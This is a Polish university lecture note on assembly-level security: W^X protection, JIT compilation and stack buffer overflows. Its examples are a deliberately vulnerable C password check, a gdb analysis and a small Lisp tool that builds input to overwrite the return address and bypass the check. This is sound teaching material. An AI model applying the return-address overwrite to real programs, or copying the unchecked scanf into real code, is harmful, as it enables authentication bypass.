Programowanie w asemblerze
Aspekty bezpieczeństwa

Zbigniew Jurkiewicz, Instytut Informatyki UW

19 stycznia 2021

1 Ochrona stron pamięci

Prawdopodobnie najstarsze poważne ataki to modyfikacja kodu programu.

Zapobieganie jest pozornie proste: W XOR X (*Write XOR eXecute*). Oznacza to, że w atrybutach strony/segmentu nie wolno ustawić obu tych atrybutów równocześnie.

Nie rozwiązuje to jednak całkowicie problemów.

1.1 Interpretery

Nie wszystkie programy są kompilowane do postaci binarnej. Wiele programów, na przykład w Pythonie, wykonywanych jest przez interpreter. Podobnie jest zwykle w Javie.

Strony z programami interpretowanymi nie muszą być wykonywalne, bo to dane dla interpretera. Z drugiej strony są to jednak programy, więc należy je chronić przed zapisem.

Ale to nie takie proste. Niektóre języki (na przykład Prolog) pozwalają *dynamicznie* dołączać do programu nowy kod.

1.2 Kompilatory JIT

Inny temat to kompilacja „w locie” (*Just In Time*), czyli dopiero wtedy, gdy dany fragment kodu ma być wykonany po raz pierwszy. Występuje w niektórych implementacjach Javy.

Kompilacja „w locie” oznacza, że kompilator *zapisuje* w pamięci (czyli na stronach) wygenerowany kod binarny. Kod ten jest następnie *wykonywany*.

2 Adresy

Gdy nie można zmienić kodu programu, to może spróbować użyć jego części niezgodnie z przeznaczeniem.

Zmienne zawierające wskaźniki nie mogą być chronione przed zapisem. Można więc w nich umieścić dowolny adres z kodu programu. Są jeszcze struktury ukryte (stos), w nich też bywają adresy (na przykład powrotne).

3 Przepełnienie bufora

Bufor to w zasadzie dowolny obszar w pamięci. Najczęściej jednak znajduje się na stosie, jako zmienna lokalna bieżącej procedury.

Najpopularniejsze są bufory znakowe — tablice znaków, czyli napisy. Takie bufory łatwo przepełnić, na przykład wczytując za duży argument. Wpisujemy więcej bajtów, niż wynosi rozmiar bufora.

Jeśli mamy szczęście (autor programu był leniwy i nie kontrolował rozmiaru, to następuje nadpisanie elementów stosu znajdujących się poniżej:

- innych zmiennych lokalnych,
- adresu powrotnego.

Przepełnienie bufora na stosie wymaga analizy kodu programu. Przydzielając pamięć na zmienne lokalne kompilator wyrównuje stos (a czasem bez powodu lub z powodem — znaczniki ochrony pamięci — zostawia luki). W kompilatorze GCC steruje tym między innymi opcja `-mpreferred-stack-boundary`.

3.1 Prosty przykład

```
int main (int argc, char **argv) {
  int ok = 0;
  char hasło[10];

  printf("Podaj hasło:");
  scanf("%s", hasło);
  if (strcmp(haslo,"tajne") == 0)
    ok = 1;
  if (!ok)
    exit(1);
  printf("Ok\n");
}
```

Po wywołaniu naszego programu

```
$ ./test1
Podaj hasło:aaaaaaaaaaaa
Ok
```

A więc nie tylko `strcpy()` jest niebezpieczna. W tym przypadku wprawdzie wystarczyłoby

```
  scanf("%9s", hasło);
```

lub ustawiać zmienną `ok` dopiero po sprawdzeniu.

No to jeszcze raz:

```
$ ./test1
Podaj hasło:aaaaaaaaaaaaaaaaaaaaaaaaa
Ok
Naruszenie ochrony pamięci (core dumped)
```

Ostrzegałem, że są luki na stosie!

3.2 Trudniejszy przykład

Jeśli nie ma zmiennej do nadpisania, to sprawy się komplikują:

```
int main (int argc, char **argv) {
  char hasło[10];

  printf("Podaj hasło:");
  scanf("%s", hasło);
  if (strcmp(haslo,"tajne") != 0)
    return 1;
  printf("Ok\n");
  return 0;
}
```

Ale jest szansa: w trosce o przenośność (i żeby uniknąć ostrzeżeniania z kompilatora) nie użyto `exit`a. Spróbujmy więc podmienić adres powrotny.

Chcemy podmienić adres powrotny tak, aby kierował do wywołania `printf`. Nie obejdzie się bez zwiedzenia kodu debuggerem (albo innym sympatycznym narzędziem).

Załóżmy, że dostępna jest zewnętrzna informacja symboliczna (w praktyce nie ma na to co liczyć, ale można sobie z tym poradzić — w końcu jesteśmy pracowici).

I tu pierwsza niespodzianka: w C dwa printfy, a tu tylko jeden!

```
(gdb) disassemble main
0x08048474 <main+0>: push   %ebp
0x08048475 <main+1>: mov    %esp,%ebp
0x08048477 <main+3>: and    $0xfffffff0,%esp
0x0804847a <main+6>: sub    $0x20,%esp
0x0804847d <main+9>: mov    $0x80485a4,%eax
0x08048482 <main+14>: mov    %eax,(%esp)
0x08048485 <main+17>: call   0x8048378 <printf@plt>
...
0x0804849a <main+38>: call   0x8048388 <__isoc99_scanf@plt>
...
0x080484ae <main+58>: call   0x80483a8 <strcmp@plt>
0x080484b3 <main+63>: test   %eax,%eax
0x080484b5 <main+65>: je     0x80484be <main+74>
0x080484b7 <main+67>: mov    $0x1,%eax
0x080484bc <main+72>: jmp    0x80484cf <main+91>
0x080484be <main+74>: movl   $0x80485bb,(%esp)
0x080484c5 <main+81>: call   0x8048398 <puts@plt>
0x080484ca <main+86>: mov    $0x0,%eax
0x080484cf <main+91>: leave
0x080484d0 <main+92>: ret
```

Precyzyjna analiza organoleptyczna wykazuje jednak obecność wywołania puts()

— cóż za chytra optymalizacja. Zapamiętajmy jego adres, musimy go zamienić na ciąg „znaków” (pamiętajmy o małym Indianinie)

```
0x080484be = trzy-czwarte znak-o-kodzie-84 Eot i Backspace
```

Mogło być gorzej, na przykład mogliśmy dostać znak o kodzie 0. Teraz pozostaje tylko ustalić długość danych wejściowych, aby nadpisać adres powrotny.

Teoretycznie wszystko na stosie jest wyrównane do 4, ale to nieprawda, na przykład dla bufora `hasło`. Trzeba się dalej bratać z debuggerem.

```
(gdb) print &haslo
$2 = (char (*)[10]) 0xbffff1d6
(gdb) info reg
...
esp            0xbffff1c0 0xbffff1c0
ebp            0xbffff1e8 0xbffff1e8
...
```

Szybkie obliczenie

$$0xbffff1e8 - 0xbffff1d6 = 18$$

Dodajemy 4 bajty na EBP i 4 na EIP, czyli musimy mieć 26 bajtów.

3.2.1 Lekki tool w Lispie

```
(defun hexconv (hexnum ile)
  (labels ((to-chars (hexnum)
             (multiple-value-bind (iloraz reszta)
                 (truncate hexnum 256)
               (cons (code-char reszta)
                     (if (= iloraz 0)
                         '()
                         (to-chars iloraz))))))
    (let ((chars (coerce (to-chars hexnum) 'string)))
      (with-open-file (s "foo.txt" :direction :output
                         :external-format :latin1
                         :if-exists :supersede)
        (dotimes (i (- ile (length chars))) (princ "a" s))
        (princ chars s))
      'ok)))
```

Nie lubimy UTF-8!

Finalnie odpalamy maszynerię

```
$ lisp
...
* (load "hexconv.lisp")
NIL
* (hexconv #x080484be 26)
OK
* (quit)
$ ./test2 <foo.txt
Podaj hasło:Ok
Naruszenie ochrony pamięci (core dumped)
```

Końcowy błąd wynika z popsucia stosu — program wracał „po raz drugi”, ale poprzednio mu ukradli adres powrotny.

4 Marzenia

Niestety nie mamy jak zachować starego adresu powrotnego, ale możemy dopisać na koniec naszego kodu jakiś dogodny adres, np. funkcji `exit()`.

Fajnie też byłoby, gdyby zamiast `printf` w programie było wywołanie shella.

Ale na razie cieszmy się tym co mamy, tyle jest programów chronionych hasłem...

A do marzeń jeszcze wrócimy